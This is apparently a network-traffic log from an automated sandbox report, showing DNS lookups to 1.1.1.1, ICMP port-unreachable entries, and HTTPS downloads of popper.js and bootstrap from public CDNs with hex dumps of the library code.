Mar 20, 2025 16:24:25.103559971 CET	59823	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:25.208955050 CET	53	54366	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:25.210947990 CET	53	59823	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:27.573355913 CET	58172	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:27.682243109 CET	53	58172	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:28.586456060 CET	58172	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:28.693367004 CET	53	58172	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:29.589118004 CET	58172	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:29.699887037 CET	53	58172	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:31.591146946 CET	58172	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:31.691962957 CET	53	58172	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:35.602969885 CET	58172	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:35.708141088 CET	53	58172	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:39.854868889 CET	61305	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:39.855201960 CET	63646	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:39.855824947 CET	64375	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:39.855951071 CET	51252	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:39.960300922 CET	53	51252	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:39.960381985 CET	53	61305	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:39.965281963 CET	53	63646	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:39.966242075 CET	53	64375	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:41.099375010 CET	50963	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:41.099633932 CET	61290	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:41.099796057 CET	53466	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:41.208101988 CET	53	50963	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:41.210161924 CET	53	61290	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:41.210242987 CET	53	53466	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:43.571465969 CET	49608	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:43.571676016 CET	56692	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:43.672905922 CET	53	56692	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:43.672967911 CET	53	49608	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:44.574274063 CET	49608	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:44.574357986 CET	56692	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:44.676963091 CET	53	56692	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:44.679167986 CET	53	49608	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:45.587891102 CET	49608	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:45.588011980 CET	56692	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:45.690000057 CET	53	56692	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:45.690818071 CET	53	49608	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:47.592689037 CET	56692	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:47.592689991 CET	49608	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:47.693918943 CET	53	49608	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:47.693936110 CET	53	56692	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:51.602536917 CET	49608	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:51.602538109 CET	56692	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:51.700587034 CET	53	56692	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:51.703779936 CET	53	49608	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:55.858549118 CET	57976	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:55.858680964 CET	63152	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:55.859369040 CET	49756	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:55.859565020 CET	60523	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:55.959834099 CET	53	57976	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:55.960818052 CET	53	60523	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:55.961869955 CET	53	63152	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:55.962491989 CET	53	49756	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:57.107860088 CET	64401	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:57.107981920 CET	57819	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:57.210730076 CET	53	64401	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:57.210789919 CET	53	57819	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:59.573708057 CET	60020	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:59.574049950 CET	56798	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:59.683335066 CET	53	56798	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:59.684103012 CET	53	60020	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:00.586334944 CET	60020	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:00.586334944 CET	56798	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:00.687813044 CET	53	56798	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:00.689549923 CET	53	60020	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:01.587032080 CET	56798	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:01.587074995 CET	60020	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:01.687505960 CET	53	60020	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:01.687866926 CET	53	56798	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:03.598711967 CET	60020	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:03.598711967 CET	56798	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:03.707144022 CET	53	56798	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:03.708357096 CET	53	60020	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:07.605300903 CET	56798	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:07.605382919 CET	60020	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:07.708713055 CET	53	60020	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:07.709419012 CET	53	56798	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:11.857405901 CET	62487	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:11.857543945 CET	61310	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:11.858232975 CET	55787	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:11.858438969 CET	63542	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:11.958214045 CET	53	61310	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:11.959093094 CET	53	62487	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:11.962486982 CET	53	63542	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:11.977987051 CET	53	55787	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:13.091819048 CET	65411	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:13.091943979 CET	51051	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:13.192116022 CET	53	65411	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:13.193136930 CET	53	51051	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:15.557799101 CET	57108	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:15.557800055 CET	63784	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:15.663784981 CET	53	57108	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:15.666124105 CET	53	63784	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:16.564487934 CET	57108	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:16.564488888 CET	63784	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:16.668196917 CET	53	57108	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:16.677647114 CET	53	63784	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:17.567483902 CET	63784	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:17.567485094 CET	57108	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:17.673450947 CET	53	57108	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:17.674773932 CET	53	63784	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:19.579065084 CET	57108	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:19.579142094 CET	63784	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:25:19.685950041 CET	53	57108	1.1.1.1	192.168.2.5
Mar 20, 2025 16:25:19.686326027 CET	53	63784	1.1.1.1	192.168.2.5

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 20, 2025 16:22:00.587137938 CET	192.168.2.5	1.1.1.1	c223	(Port unreachable)	Destination Unreachable
Mar 20, 2025 16:22:07.046930075 CET	192.168.2.5	1.1.1.1	c244	(Port unreachable)	Destination Unreachable
Mar 20, 2025 16:22:17.349035025 CET	192.168.2.5	1.1.1.1	c2dd	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:05 UTC	634	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive Origin: null sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:05 UTC	963	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:22:05 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Cf-Ray: 923633fafc810c9e-EWR Server: cloudflare Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 Etag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT Cf-Cdnjs-Via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff Cf-Cache-Status: HIT Age: 65541 Expires: Tue, 10 Mar 2026 15:22:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ezxvm5ulBraDuLGl9KiOeeu9%2Ff%2FY4mpvXzF8RBj%2F6VNJjoNPqt9q%2FHZZA0oRULDBetpDbYraJ3H5pOU3bzoOVwDWq53UCH7BoKqfSj8Zdw54L5YG%2Fe8s%2BWiQcEeq1ImtCIkcWaa2"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 alt-svc: h3=":443"; ma=86400
2025-03-20 15:22:05 UTC	406	IN	Data Raw: 31 62 65 65 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 1bee/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-03-20 15:22:05 UTC	1369	IN	Data Raw: 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d Data Ascii: 1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#docum
2025-03-20 15:22:05 UTC	1369	IN	Data Raw: 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 Data Ascii: ,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['b
2025-03-20 15:22:05 UTC	1369	IN	Data Raw: 7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 Data Ascii: {top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}re
2025-03-20 15:22:05 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 Data Ascii: height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e
2025-03-20 15:22:05 UTC	1276	IN	Data Raw: 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e Data Ascii: sole.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={in
2025-03-20 15:22:05 UTC	1369	IN	Data Raw: 32 66 30 36 0d 0a 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 2e 74 6f 70 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 5b 57 28 27 74 72 61 6e 73 66 6f 72 6d 27 29 5d 3d 27 27 29 2c 74 68 69 73 2e 64 69 73 61 62 6c 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 Data Ascii: 2f06='',this.popper.style.top='',this.popper.style[W('transform')]=''),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}func
2025-03-20 15:22:05 UTC	1369	IN	Data Raw: 69 3f 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 6f 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6f 2c 74 5b 6f 5d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 2c 74 2c 6f 29 7b 76 61 72 20 69 3d 54 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 3d 65 2e 6e 61 6d 65 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 Data Ascii: i?e.removeAttribute(o):e.setAttribute(o,t[o])})}function F(e,t,o){var i=T(e,function(e){var o=e.name;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is requi
2025-03-20 15:22:05 UTC	1369	IN	Data Raw: 3b 72 65 74 75 72 6e 20 61 3d 61 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 76 61 72 20 6e 3d 28 31 3d 3d 3d 69 3f 21 72 3a 72 29 3f 27 68 65 69 67 68 74 27 3a 27 77 69 64 74 68 27 2c 70 3d 21 31 3b 72 65 74 75 72 6e 20 65 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f Data Ascii: ;return a=a.map(function(e,i){var n=(1===i?!r:r)?'height':'width',p=!1;return e.reduce(function(e,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o
2025-03-20 15:22:05 UTC	1369	IN	Data Raw: 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 27 76 61 6c 75 65 27 69 6e 20 6f 26 26 28 6f 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6f 2e 6b 65 79 2c 6f 29 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 2c 69 29 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 Data Ascii: configurable=!0,'value'in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}return function(t,o,i){return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0})

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:05 UTC	654	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:05 UTC	966	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:22:05 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.07 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/15/2024 13:11:59 CDN-EdgeStorageId: 1232 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 2594ac6f0c887eb2b7bbc5b18049c76f CDN-Cache: HIT CF-Cache-Status: HIT Age: 182767 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 923633fb0fb2e738-EWR alt-svc: h3=":443"; ma=86400
